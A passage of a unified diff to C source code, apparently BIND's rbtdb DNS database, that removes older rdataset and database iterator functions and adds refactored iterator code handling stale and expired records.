-	rbtdb->current_version->iterations = 0;
-	rbtdb->current_version->hash = 0;
-	rbtdb->current_version->salt_length = 0;
-	memset(rbtdb->current_version->salt, 0,
-	       sizeof(rbtdb->current_version->salt));
-	isc_rwlock_init(&rbtdb->current_version->rwlock, 0, 0);
-	rbtdb->current_version->records = 0;
-	rbtdb->current_version->xfrsize = 0;
-	rbtdb->future_version = NULL;
-	ISC_LIST_INIT(rbtdb->open_versions);
-	/*
-	 * Keep the current version in the open list so that list operation
-	 * won't happen in normal lookup operations.
-	 */
-	PREPEND(rbtdb->open_versions, rbtdb->current_version, link);
-
-	rbtdb->common.magic = DNS_DB_MAGIC;
-	rbtdb->common.impmagic = RBTDB_MAGIC;
-
-	*dbp = (dns_db_t *)rbtdb;
-
-	return (ISC_R_SUCCESS);
-
-cleanup_heaps:
-	if (rbtdb->heaps != NULL) {
-		for (i = 0; i < (int)rbtdb->node_lock_count; i++) {
-			if (rbtdb->heaps[i] != NULL) {
-				isc_heap_destroy(&rbtdb->heaps[i]);
-			}
-		}
-		isc_mem_put(hmctx, rbtdb->heaps,
-			    rbtdb->node_lock_count * sizeof(isc_heap_t *));
-	}
-
-	if (rbtdb->rdatasets != NULL) {
-		isc_mem_put(mctx, rbtdb->rdatasets,
-			    rbtdb->node_lock_count *
-				    sizeof(rdatasetheaderlist_t));
-	}
-	if (rbtdb->rrsetstats != NULL) {
-		dns_stats_detach(&rbtdb->rrsetstats);
-	}
-
-cleanup_node_locks:
-	isc_mem_put(mctx, rbtdb->node_locks,
-		    rbtdb->node_lock_count * sizeof(rbtdb_nodelock_t));
-
-cleanup_tree_lock:
-	isc_rwlock_destroy(&rbtdb->tree_lock);
-	RBTDB_DESTROYLOCK(&rbtdb->lock);
-	isc_mem_put(mctx, rbtdb, sizeof(*rbtdb));
-	return (result);
-}
-
-/*
- * Slabbed Rdataset Methods
- */
-
-static void
-rdataset_disassociate(dns_rdataset_t *rdataset) {
-	dns_db_t *db = rdataset->private1;
-	dns_dbnode_t *node = rdataset->private2;
-
-	detachnode(db, &node);
-}
-
-static isc_result_t
-rdataset_first(dns_rdataset_t *rdataset) {
-	unsigned char *raw = rdataset->private3; /* RDATASLAB */
-	unsigned int count;
-
-	count = raw[0] * 256 + raw[1];
-	if (count == 0) {
-		rdataset->private5 = NULL;
-		return (ISC_R_NOMORE);
-	}
-
-	if ((rdataset->attributes & DNS_RDATASETATTR_LOADORDER) == 0) {
-		raw += DNS_RDATASET_COUNT;
-	}
-
-	raw += DNS_RDATASET_LENGTH;
-
-	/*
-	 * The privateuint4 field is the number of rdata beyond the
-	 * cursor position, so we decrement the total count by one
-	 * before storing it.
-	 *
-	 * If DNS_RDATASETATTR_LOADORDER is not set 'raw' points to the
-	 * first record.  If DNS_RDATASETATTR_LOADORDER is set 'raw' points
-	 * to the first entry in the offset table.
-	 */
-	count--;
-	rdataset->privateuint4 = count;
-	rdataset->private5 = raw;
-
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-rdataset_next(dns_rdataset_t *rdataset) {
-	unsigned int count;
-	unsigned int length;
-	unsigned char *raw; /* RDATASLAB */
-
-	count = rdataset->privateuint4;
-	if (count == 0) {
-		return (ISC_R_NOMORE);
-	}
-	count--;
-	rdataset->privateuint4 = count;
-
-	/*
-	 * Skip forward one record (length + 4) or one offset (4).
-	 */
-	raw = rdataset->private5;
-#if DNS_RDATASET_FIXED
-	if ((rdataset->attributes & DNS_RDATASETATTR_LOADORDER) == 0)
-#endif /* DNS_RDATASET_FIXED */
-	{
-		length = raw[0] * 256 + raw[1];
-		raw += length;
-	}
-
-	rdataset->private5 = raw + DNS_RDATASET_ORDER + DNS_RDATASET_LENGTH;
-
-	return (ISC_R_SUCCESS);
-}
-
-static void
-rdataset_current(dns_rdataset_t *rdataset, dns_rdata_t *rdata) {
-	unsigned char *raw = rdataset->private5; /* RDATASLAB */
-	unsigned int length;
-	isc_region_t r;
-	unsigned int flags = 0;
-
-	REQUIRE(raw != NULL);
-
-	/*
-	 * Find the start of the record if not already in private5
-	 * then skip the length and order fields.
-	 */
-#if DNS_RDATASET_FIXED
-	if ((rdataset->attributes & DNS_RDATASETATTR_LOADORDER) != 0) {
-		unsigned int offset;
-		offset = (raw[0] << 24) + (raw[1] << 16) + (raw[2] << 8) +
-			 raw[3];
-		raw = rdataset->private3;
-		raw += offset;
-	}
-#endif /* if DNS_RDATASET_FIXED */
-
-	length = raw[0] * 256 + raw[1];
-
-	raw += DNS_RDATASET_ORDER + DNS_RDATASET_LENGTH;
-
-	if (rdataset->type == dns_rdatatype_rrsig) {
-		if (*raw & DNS_RDATASLAB_OFFLINE) {
-			flags |= DNS_RDATA_OFFLINE;
-		}
-		length--;
-		raw++;
-	}
-	r.length = length;
-	r.base = raw;
-	dns_rdata_fromregion(rdata, rdataset->rdclass, rdataset->type, &r);
-	rdata->flags |= flags;
-}
-
-static void
-rdataset_clone(dns_rdataset_t *source, dns_rdataset_t *target) {
-	dns_db_t *db = source->private1;
-	dns_dbnode_t *node = source->private2;
-	dns_dbnode_t *cloned_node = NULL;
-
-	attachnode(db, node, &cloned_node);
-	INSIST(!ISC_LINK_LINKED(target, link));
-	*target = *source;
-	ISC_LINK_INIT(target, link);
-
-	/*
-	 * Reset iterator state.
-	 */
-	target->privateuint4 = 0;
-	target->private5 = NULL;
-}
-
-static unsigned int
-rdataset_count(dns_rdataset_t *rdataset) {
-	unsigned char *raw = rdataset->private3; /* RDATASLAB */
-	unsigned int count;
-
-	count = raw[0] * 256 + raw[1];
-
-	return (count);
-}
-
-static isc_result_t
-rdataset_getnoqname(dns_rdataset_t *rdataset, dns_name_t *name,
-		    dns_rdataset_t *nsec, dns_rdataset_t *nsecsig) {
-	dns_db_t *db = rdataset->private1;
-	dns_dbnode_t *node = rdataset->private2;
-	dns_dbnode_t *cloned_node;
-	const struct noqname *noqname = rdataset->private6;
-
-	cloned_node = NULL;
-	attachnode(db, node, &cloned_node);
-	nsec->methods = &slab_methods;
-	nsec->rdclass = db->rdclass;
-	nsec->type = noqname->type;
-	nsec->covers = 0;
-	nsec->ttl = rdataset->ttl;
-	nsec->trust = rdataset->trust;
-	nsec->private1 = rdataset->private1;
-	nsec->private2 = rdataset->private2;
-	nsec->private3 = noqname->neg;
-	nsec->privateuint4 = 0;
-	nsec->private5 = NULL;
-	nsec->private6 = NULL;
-	nsec->private7 = NULL;
-
-	cloned_node = NULL;
-	attachnode(db, node, &cloned_node);
-	nsecsig->methods = &slab_methods;
-	nsecsig->rdclass = db->rdclass;
-	nsecsig->type = dns_rdatatype_rrsig;
-	nsecsig->covers = noqname->type;
-	nsecsig->ttl = rdataset->ttl;
-	nsecsig->trust = rdataset->trust;
-	nsecsig->private1 = rdataset->private1;
-	nsecsig->private2 = rdataset->private2;
-	nsecsig->private3 = noqname->negsig;
-	nsecsig->privateuint4 = 0;
-	nsecsig->private5 = NULL;
-	nsec->private6 = NULL;
-	nsec->private7 = NULL;
-
-	dns_name_clone(&noqname->name, name);
-
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-rdataset_getclosest(dns_rdataset_t *rdataset, dns_name_t *name,
-		    dns_rdataset_t *nsec, dns_rdataset_t *nsecsig) {
-	dns_db_t *db = rdataset->private1;
-	dns_dbnode_t *node = rdataset->private2;
-	dns_dbnode_t *cloned_node;
-	const struct noqname *closest = rdataset->private7;
-
-	cloned_node = NULL;
-	attachnode(db, node, &cloned_node);
-	nsec->methods = &slab_methods;
-	nsec->rdclass = db->rdclass;
-	nsec->type = closest->type;
-	nsec->covers = 0;
-	nsec->ttl = rdataset->ttl;
-	nsec->trust = rdataset->trust;
-	nsec->private1 = rdataset->private1;
-	nsec->private2 = rdataset->private2;
-	nsec->private3 = closest->neg;
-	nsec->privateuint4 = 0;
-	nsec->private5 = NULL;
-	nsec->private6 = NULL;
-	nsec->private7 = NULL;
-
-	cloned_node = NULL;
-	attachnode(db, node, &cloned_node);
-	nsecsig->methods = &slab_methods;
-	nsecsig->rdclass = db->rdclass;
-	nsecsig->type = dns_rdatatype_rrsig;
-	nsecsig->covers = closest->type;
-	nsecsig->ttl = rdataset->ttl;
-	nsecsig->trust = rdataset->trust;
-	nsecsig->private1 = rdataset->private1;
-	nsecsig->private2 = rdataset->private2;
-	nsecsig->private3 = closest->negsig;
-	nsecsig->privateuint4 = 0;
-	nsecsig->private5 = NULL;
-	nsec->private6 = NULL;
-	nsec->private7 = NULL;
-
-	dns_name_clone(&closest->name, name);
-
-	return (ISC_R_SUCCESS);
-}
-
-static void
-rdataset_settrust(dns_rdataset_t *rdataset, dns_trust_t trust) {
-	dns_rbtdb_t *rbtdb = rdataset->private1;
-	dns_rbtnode_t *rbtnode = rdataset->private2;
-	rdatasetheader_t *header = rdataset->private3;
-
-	header--;
-	NODE_LOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		  isc_rwlocktype_write);
-	header->trust = rdataset->trust = trust;
-	NODE_UNLOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		    isc_rwlocktype_write);
-}
-
-static void
-rdataset_expire(dns_rdataset_t *rdataset) {
-	dns_rbtdb_t *rbtdb = rdataset->private1;
-	dns_rbtnode_t *rbtnode = rdataset->private2;
-	rdatasetheader_t *header = rdataset->private3;
-
-	header--;
-	NODE_LOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		  isc_rwlocktype_write);
-	expire_header(rbtdb, header, false, expire_flush);
-	NODE_UNLOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		    isc_rwlocktype_write);
-}
-
-static void
-rdataset_clearprefetch(dns_rdataset_t *rdataset) {
-	dns_rbtdb_t *rbtdb = rdataset->private1;
-	dns_rbtnode_t *rbtnode = rdataset->private2;
-	rdatasetheader_t *header = rdataset->private3;
-
-	header--;
-	NODE_LOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		  isc_rwlocktype_write);
-	RDATASET_ATTR_CLR(header, RDATASET_ATTR_PREFETCH);
-	NODE_UNLOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		    isc_rwlocktype_write);
-}
-
-/*
- * Rdataset Iterator Methods
- */
-
-static void
-rdatasetiter_destroy(dns_rdatasetiter_t **iteratorp) {
-	rbtdb_rdatasetiter_t *rbtiterator;
-
-	rbtiterator = (rbtdb_rdatasetiter_t *)(*iteratorp);
-
-	if (rbtiterator->common.version != NULL) {
-		closeversion(rbtiterator->common.db,
-			     &rbtiterator->common.version, false);
-	}
-	detachnode(rbtiterator->common.db, &rbtiterator->common.node);
-	isc_mem_put(rbtiterator->common.db->mctx, rbtiterator,
-		    sizeof(*rbtiterator));
-
-	*iteratorp = NULL;
-}
-
-static isc_result_t
-rdatasetiter_first(dns_rdatasetiter_t *iterator) {
-	rbtdb_rdatasetiter_t *rbtiterator = (rbtdb_rdatasetiter_t *)iterator;
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)(rbtiterator->common.db);
-	dns_rbtnode_t *rbtnode = rbtiterator->common.node;
-	rbtdb_version_t *rbtversion = rbtiterator->common.version;
-	rdatasetheader_t *header, *top_next;
-	rbtdb_serial_t serial;
-	isc_stdtime_t now;
-
-	if (IS_CACHE(rbtdb)) {
-		serial = 1;
-		now = rbtiterator->common.now;
-	} else {
-		serial = rbtversion->serial;
-		now = 0;
-	}
-
-	NODE_LOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		  isc_rwlocktype_read);
-
-	for (header = rbtnode->data; header != NULL; header = top_next) {
-		top_next = header->next;
-		do {
-			if (header->serial <= serial && !IGNORE(header)) {
-				/*
-				 * Is this a "this rdataset doesn't exist"
-				 * record?  Or is it too old in the cache?
-				 *
-				 * Note: unlike everywhere else, we
-				 * check for now > header->rdh_ttl instead
-				 * of ">=".  This allows ANY and RRSIG
-				 *  queries for 0 TTL rdatasets to work.
-				 */
-				if (NONEXISTENT(header) ||
-				    (now != 0 &&
-				     (now - RBTDB_VIRTUAL) >
-					     header->rdh_ttl +
-						     rbtdb->serve_stale_ttl))
-				{
-					header = NULL;
-				}
-				break;
-			} else {
-				header = header->down;
-			}
-		} while (header != NULL);
-		if (header != NULL) {
-			break;
-		}
-	}
-
-	NODE_UNLOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		    isc_rwlocktype_read);
-
-	rbtiterator->current = header;
-
-	if (header == NULL) {
-		return (ISC_R_NOMORE);
-	}
-
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-rdatasetiter_next(dns_rdatasetiter_t *iterator) {
-	rbtdb_rdatasetiter_t *rbtiterator = (rbtdb_rdatasetiter_t *)iterator;
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)(rbtiterator->common.db);
-	dns_rbtnode_t *rbtnode = rbtiterator->common.node;
-	rbtdb_version_t *rbtversion = rbtiterator->common.version;
-	rdatasetheader_t *header, *top_next;
-	rbtdb_serial_t serial;
-	isc_stdtime_t now;
-	rbtdb_rdatatype_t type, negtype;
-	dns_rdatatype_t rdtype, covers;
-
-	header = rbtiterator->current;
-	if (header == NULL) {
-		return (ISC_R_NOMORE);
-	}
-
-	if (IS_CACHE(rbtdb)) {
-		serial = 1;
-		now = rbtiterator->common.now;
-	} else {
-		serial = rbtversion->serial;
-		now = 0;
-	}
-
-	NODE_LOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		  isc_rwlocktype_read);
-
-	type = header->type;
-	rdtype = RBTDB_RDATATYPE_BASE(header->type);
-	if (NEGATIVE(header)) {
-		covers = RBTDB_RDATATYPE_EXT(header->type);
-		negtype = RBTDB_RDATATYPE_VALUE(covers, 0);
-	} else {
-		negtype = RBTDB_RDATATYPE_VALUE(0, rdtype);
-	}
-	for (header = header->next; header != NULL; header = top_next) {
-		top_next = header->next;
-		/*
-		 * If not walking back up the down list.
-		 */
-		if (header->type != type && header->type != negtype) {
-			do {
-				if (header->serial <= serial && !IGNORE(header))
-				{
-					/*
-					 * Is this a "this rdataset doesn't
-					 * exist" record?
-					 *
-					 * Note: unlike everywhere else, we
-					 * check for now > header->ttl instead
-					 * of ">=".  This allows ANY and RRSIG
-					 * queries for 0 TTL rdatasets to work.
-					 */
-					if (NONEXISTENT(header) ||
-					    (now != 0 &&
-					     (now - RBTDB_VIRTUAL) >
-						     header->rdh_ttl))
-					{
-						header = NULL;
-					}
-					break;
-				} else {
-					header = header->down;
-				}
-			} while (header != NULL);
-			if (header != NULL) {
-				break;
-			}
-		}
-	}
-
-	NODE_UNLOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		    isc_rwlocktype_read);
-
-	rbtiterator->current = header;
-
-	if (header == NULL) {
-		return (ISC_R_NOMORE);
-	}
-
-	return (ISC_R_SUCCESS);
-}
-
-static void
-rdatasetiter_current(dns_rdatasetiter_t *iterator, dns_rdataset_t *rdataset) {
-	rbtdb_rdatasetiter_t *rbtiterator = (rbtdb_rdatasetiter_t *)iterator;
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)(rbtiterator->common.db);
-	dns_rbtnode_t *rbtnode = rbtiterator->common.node;
-	rdatasetheader_t *header;
-
-	header = rbtiterator->current;
-	REQUIRE(header != NULL);
-
-	NODE_LOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		  isc_rwlocktype_read);
-
-	bind_rdataset(rbtdb, rbtnode, header, rbtiterator->common.now,
-		      isc_rwlocktype_read, rdataset);
-
-	NODE_UNLOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		    isc_rwlocktype_read);
-}
-
-/*
- * Database Iterator Methods
- */
-
-static inline void
-reference_iter_node(rbtdb_dbiterator_t *rbtdbiter) {
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)rbtdbiter->common.db;
-	dns_rbtnode_t *node = rbtdbiter->node;
-
-	if (node == NULL) {
-		return;
-	}
-
-	INSIST(rbtdbiter->tree_locked != isc_rwlocktype_none);
-	reactivate_node(rbtdb, node, rbtdbiter->tree_locked);
-}
-
-static inline void
-dereference_iter_node(rbtdb_dbiterator_t *rbtdbiter) {
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)rbtdbiter->common.db;
-	dns_rbtnode_t *node = rbtdbiter->node;
-	nodelock_t *lock;
-
-	if (node == NULL) {
-		return;
-	}
-
-	lock = &rbtdb->node_locks[node->locknum].lock;
-	NODE_LOCK(lock, isc_rwlocktype_read);
-	decrement_reference(rbtdb, node, 0, isc_rwlocktype_read,
-			    rbtdbiter->tree_locked, false);
-	NODE_UNLOCK(lock, isc_rwlocktype_read);
-
-	rbtdbiter->node = NULL;
-}
-
-static void
-flush_deletions(rbtdb_dbiterator_t *rbtdbiter) {
-	dns_rbtnode_t *node;
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)rbtdbiter->common.db;
-	bool was_read_locked = false;
-	nodelock_t *lock;
-	int i;
-
-	if (rbtdbiter->delcnt != 0) {
-		/*
-		 * Note that "%d node of %d in tree" can report things like
-		 * "flush_deletions: 59 nodes of 41 in tree".  This means
-		 * That some nodes appear on the deletions list more than
-		 * once.  Only the last occurrence will actually be deleted.
-		 */
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_CACHE, ISC_LOG_DEBUG(1),
-			      "flush_deletions: %d nodes of %d in tree",
-			      rbtdbiter->delcnt,
-			      dns_rbt_nodecount(rbtdb->tree));
-
-		if (rbtdbiter->tree_locked == isc_rwlocktype_read) {
-			RWUNLOCK(&rbtdb->tree_lock, isc_rwlocktype_read);
-			was_read_locked = true;
-		}
-		RWLOCK(&rbtdb->tree_lock, isc_rwlocktype_write);
-		rbtdbiter->tree_locked = isc_rwlocktype_write;
-
-		for (i = 0; i < rbtdbiter->delcnt; i++) {
-			node = rbtdbiter->deletions[i];
-			lock = &rbtdb->node_locks[node->locknum].lock;
-
-			NODE_LOCK(lock, isc_rwlocktype_read);
-			decrement_reference(rbtdb, node, 0, isc_rwlocktype_read,
-					    rbtdbiter->tree_locked, false);
-			NODE_UNLOCK(lock, isc_rwlocktype_read);
-		}
-
-		rbtdbiter->delcnt = 0;
-
-		RWUNLOCK(&rbtdb->tree_lock, isc_rwlocktype_write);
-		if (was_read_locked) {
-			RWLOCK(&rbtdb->tree_lock, isc_rwlocktype_read);
-			rbtdbiter->tree_locked = isc_rwlocktype_read;
-		} else {
-			rbtdbiter->tree_locked = isc_rwlocktype_none;
-		}
-	}
-}
-
-static inline void
-resume_iteration(rbtdb_dbiterator_t *rbtdbiter) {
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)rbtdbiter->common.db;
-
-	REQUIRE(rbtdbiter->paused);
-	REQUIRE(rbtdbiter->tree_locked == isc_rwlocktype_none);
-
-	RWLOCK(&rbtdb->tree_lock, isc_rwlocktype_read);
-	rbtdbiter->tree_locked = isc_rwlocktype_read;
-
-	rbtdbiter->paused = false;
-}
-
-static void
-dbiterator_destroy(dns_dbiterator_t **iteratorp) {
-	rbtdb_dbiterator_t *rbtdbiter = (rbtdb_dbiterator_t *)(*iteratorp);
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)rbtdbiter->common.db;
-	dns_db_t *db = NULL;
-
-	if (rbtdbiter->tree_locked == isc_rwlocktype_read) {
-		RWUNLOCK(&rbtdb->tree_lock, isc_rwlocktype_read);
-		rbtdbiter->tree_locked = isc_rwlocktype_none;
-	} else {
-		INSIST(rbtdbiter->tree_locked == isc_rwlocktype_none);
-	}
-
-	dereference_iter_node(rbtdbiter);
-
-	flush_deletions(rbtdbiter);
-
-	dns_db_attach(rbtdbiter->common.db, &db);
-	dns_db_detach(&rbtdbiter->common.db);
-
-	dns_rbtnodechain_reset(&rbtdbiter->chain);
-	dns_rbtnodechain_reset(&rbtdbiter->nsec3chain);
-	isc_mem_put(db->mctx, rbtdbiter, sizeof(*rbtdbiter));
-	dns_db_detach(&db);
-
-	*iteratorp = NULL;
-}
-
-static isc_result_t
-dbiterator_first(dns_dbiterator_t *iterator) {
-	isc_result_t result;
-	rbtdb_dbiterator_t *rbtdbiter = (rbtdb_dbiterator_t *)iterator;
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)iterator->db;
-	dns_name_t *name, *origin;
-
-	if (rbtdbiter->result != ISC_R_SUCCESS &&
-	    rbtdbiter->result != ISC_R_NOTFOUND &&
-	    rbtdbiter->result != DNS_R_PARTIALMATCH &&
-	    rbtdbiter->result != ISC_R_NOMORE)
-	{
-		return (rbtdbiter->result);
-	}
-
-	if (rbtdbiter->paused) {
-		resume_iteration(rbtdbiter);
-	}
-
-	dereference_iter_node(rbtdbiter);
-
-	name = dns_fixedname_name(&rbtdbiter->name);
-	origin = dns_fixedname_name(&rbtdbiter->origin);
-	dns_rbtnodechain_reset(&rbtdbiter->chain);
-	dns_rbtnodechain_reset(&rbtdbiter->nsec3chain);
-
-	if (rbtdbiter->nsec3only) {
-		rbtdbiter->current = &rbtdbiter->nsec3chain;
-		result = dns_rbtnodechain_first(rbtdbiter->current,
-						rbtdb->nsec3, name, origin);
-	} else {
-		rbtdbiter->current = &rbtdbiter->chain;
-		result = dns_rbtnodechain_first(rbtdbiter->current, rbtdb->tree,
-						name, origin);
-		if (!rbtdbiter->nonsec3 && result == ISC_R_NOTFOUND) {
-			rbtdbiter->current = &rbtdbiter->nsec3chain;
-			result = dns_rbtnodechain_first(
-				rbtdbiter->current, rbtdb->nsec3, name, origin);
-		}
-	}
-	if (result == ISC_R_SUCCESS || result == DNS_R_NEWORIGIN) {
-		result = dns_rbtnodechain_current(rbtdbiter->current, NULL,
-						  NULL, &rbtdbiter->node);
-		if (result == ISC_R_SUCCESS) {
-			rbtdbiter->new_origin = true;
-			reference_iter_node(rbtdbiter);
-		}
-	} else {
-		INSIST(result == ISC_R_NOTFOUND);
-		result = ISC_R_NOMORE; /* The tree is empty. */
+	 * Is this a "this rdataset doesn't exist" record?
+	 */
+	if (NONEXISTENT(header)) {
+		return (false);
 	}
 
-	rbtdbiter->result = result;
-
-	if (result != ISC_R_SUCCESS) {
-		ENSURE(!rbtdbiter->paused);
+	/*
+	 * If this is a zone or this header still active then return it.
+	 */
+	if (!IS_CACHE(rbtdb) || ACTIVE(header, rbtiterator->common.now)) {
+		return (true);
 	}
 
-	return (result);
+	/*
+	 * If we are not returning stale records or the rdataset is
+	 * too old don't return it.
+	 */
+	if (!STALEOK(rbtiterator) || (rbtiterator->common.now > stale_ttl)) {
+		return (false);
+	}
+	return (true);
 }
 
 static isc_result_t
-dbiterator_last(dns_dbiterator_t *iterator) {
-	isc_result_t result;
-	rbtdb_dbiterator_t *rbtdbiter = (rbtdb_dbiterator_t *)iterator;
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)iterator->db;
-	dns_name_t *name, *origin;
+rdatasetiter_first(dns_rdatasetiter_t *iterator DNS__DB_FLARG) {
+	rbtdb_rdatasetiter_t *rbtiterator = (rbtdb_rdatasetiter_t *)iterator;
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)(rbtiterator->common.db);
+	dns_rbtnode_t *rbtnode = rbtiterator->common.node;
+	dns_rbtdb_version_t *rbtversion = rbtiterator->common.version;
+	dns_slabheader_t *header = NULL, *top_next = NULL;
+	uint32_t serial = IS_CACHE(rbtdb) ? 1 : rbtversion->serial;
+	isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
 
-	if (rbtdbiter->result != ISC_R_SUCCESS &&
-	    rbtdbiter->result != ISC_R_NOTFOUND &&
-	    rbtdbiter->result != DNS_R_PARTIALMATCH &&
-	    rbtdbiter->result != ISC_R_NOMORE)
-	{
-		return (rbtdbiter->result);
-	}
+	NODE_RDLOCK(&rbtdb->node_locks[rbtnode->locknum].lock, &nlocktype);
 
-	if (rbtdbiter->paused) {
-		resume_iteration(rbtdbiter);
+	for (header = rbtnode->data; header != NULL; header = top_next) {
+		top_next = header->next;
+		do {
+			if (EXPIREDOK(rbtiterator)) {
+				if (!NONEXISTENT(header)) {
+					break;
+				}
+				header = header->down;
+			} else if (header->serial <= serial && !IGNORE(header))
+			{
+				if (!iterator_active(rbtdb, rbtiterator,
+						     header))
+				{
+					header = NULL;
+				}
+				break;
+			} else {
+				header = header->down;
+			}
+		} while (header != NULL);
+		if (header != NULL) {
+			break;
+		}
 	}
 
-	dereference_iter_node(rbtdbiter);
+	NODE_UNLOCK(&rbtdb->node_locks[rbtnode->locknum].lock, &nlocktype);
 
-	name = dns_fixedname_name(&rbtdbiter->name);
-	origin = dns_fixedname_name(&rbtdbiter->origin);
-	dns_rbtnodechain_reset(&rbtdbiter->chain);
-	dns_rbtnodechain_reset(&rbtdbiter->nsec3chain);
+	rbtiterator->current = header;
 
-	result = ISC_R_NOTFOUND;
-	if (rbtdbiter->nsec3only && !rbtdbiter->nonsec3) {
-		rbtdbiter->current = &rbtdbiter->nsec3chain;
-		result = dns_rbtnodechain_last(rbtdbiter->current, rbtdb->nsec3,
-					       name, origin);
-	}
-	if (!rbtdbiter->nsec3only && result == ISC_R_NOTFOUND) {
-		rbtdbiter->current = &rbtdbiter->chain;
-		result = dns_rbtnodechain_last(rbtdbiter->current, rbtdb->tree,
-					       name, origin);
-	}
-	if (result == ISC_R_SUCCESS || result == DNS_R_NEWORIGIN) {
-		result = dns_rbtnodechain_current(rbtdbiter->current, NULL,
-						  NULL, &rbtdbiter->node);
-		if (result == ISC_R_SUCCESS) {
-			rbtdbiter->new_origin = true;
-			reference_iter_node(rbtdbiter);
-		}
-	} else {
-		INSIST(result == ISC_R_NOTFOUND);
-		result = ISC_R_NOMORE; /* The tree is empty. */
+	if (header == NULL) {
+		return (ISC_R_NOMORE);
 	}
 
-	rbtdbiter->result = result;
-
-	return (result);
+	return (ISC_R_SUCCESS);
 }
 
 static isc_result_t
-dbiterator_seek(dns_dbiterator_t *iterator, const dns_name_t *name) {
-	isc_result_t result, tresult;
-	rbtdb_dbiterator_t *rbtdbiter = (rbtdb_dbiterator_t *)iterator;
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)iterator->db;
-	dns_name_t *iname, *origin;
-
-	if (rbtdbiter->result != ISC_R_SUCCESS &&
-	    rbtdbiter->result != ISC_R_NOTFOUND &&
-	    rbtdbiter->result != DNS_R_PARTIALMATCH &&
-	    rbtdbiter->result != ISC_R_NOMORE)
-	{
-		return (rbtdbiter->result);
-	}
+rdatasetiter_next(dns_rdatasetiter_t *iterator DNS__DB_FLARG) {
+	rbtdb_rdatasetiter_t *rbtiterator = (rbtdb_rdatasetiter_t *)iterator;
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)(rbtiterator->common.db);
+	dns_rbtnode_t *rbtnode = rbtiterator->common.node;
+	dns_rbtdb_version_t *rbtversion = rbtiterator->common.version;
+	dns_slabheader_t *header = NULL, *top_next = NULL;
+	uint32_t serial = IS_CACHE(rbtdb) ? 1 : rbtversion->serial;
+	dns_typepair_t type, negtype;
+	dns_rdatatype_t rdtype, covers;
+	isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+	bool expiredok = EXPIREDOK(rbtiterator);
 
-	if (rbtdbiter->paused) {
-		resume_iteration(rbtdbiter);
+	header = rbtiterator->current;
+	if (header == NULL) {
+		return (ISC_R_NOMORE);
 	}
 
-	dereference_iter_node(rbtdbiter);
-
-	iname = dns_fixedname_name(&rbtdbiter->name);
-	origin = dns_fixedname_name(&rbtdbiter->origin);
-	dns_rbtnodechain_reset(&rbtdbiter->chain);
-	dns_rbtnodechain_reset(&rbtdbiter->nsec3chain);
+	NODE_RDLOCK(&rbtdb->node_locks[rbtnode->locknum].lock, &nlocktype);
 
-	if (rbtdbiter->nsec3only) {
-		rbtdbiter->current = &rbtdbiter->nsec3chain;
-		result = dns_rbt_findnode(rbtdb->nsec3, name, NULL,
-					  &rbtdbiter->node, rbtdbiter->current,
-					  DNS_RBTFIND_EMPTYDATA, NULL, NULL);
-	} else if (rbtdbiter->nonsec3) {
-		rbtdbiter->current = &rbtdbiter->chain;
-		result = dns_rbt_findnode(rbtdb->tree, name, NULL,
-					  &rbtdbiter->node, rbtdbiter->current,
-					  DNS_RBTFIND_EMPTYDATA, NULL, NULL);
+	type = header->type;
+	rdtype = DNS_TYPEPAIR_TYPE(header->type);
+	if (NEGATIVE(header)) {
+		covers = DNS_TYPEPAIR_COVERS(header->type);
+		negtype = DNS_TYPEPAIR_VALUE(covers, 0);
 	} else {
+		negtype = DNS_TYPEPAIR_VALUE(0, rdtype);
+	}
+
+	/*
+	 * Find the start of the header chain for the next type
+	 * by walking back up the list.
+	 */
+	top_next = header->next;
+	while (top_next != NULL &&
+	       (top_next->type == type || top_next->type == negtype))
+	{
+		top_next = top_next->next;
+	}
+	if (expiredok) {
 		/*
-		 * Stay on main chain if not found on either chain.
+		 * Keep walking down the list if possible or
+		 * start the next type.
 		 */
-		rbtdbiter->current = &rbtdbiter->chain;
-		result = dns_rbt_findnode(rbtdb->tree, name, NULL,
-					  &rbtdbiter->node, rbtdbiter->current,
-					  DNS_RBTFIND_EMPTYDATA, NULL, NULL);
-		if (result == DNS_R_PARTIALMATCH) {
-			dns_rbtnode_t *node = NULL;
-			tresult = dns_rbt_findnode(
-				rbtdb->nsec3, name, NULL, &node,
-				&rbtdbiter->nsec3chain, DNS_RBTFIND_EMPTYDATA,
-				NULL, NULL);
-			if (tresult == ISC_R_SUCCESS) {
-				rbtdbiter->node = node;
-				rbtdbiter->current = &rbtdbiter->nsec3chain;
-				result = tresult;
+		header = header->down != NULL ? header->down : top_next;
+	} else {
+		header = top_next;
+	}
+	for (; header != NULL; header = top_next) {
+		top_next = header->next;
+		do {
+			if (expiredok) {
+				if (!NONEXISTENT(header)) {
+					break;
+				}
+				header = header->down;
+			} else if (header->serial <= serial && !IGNORE(header))
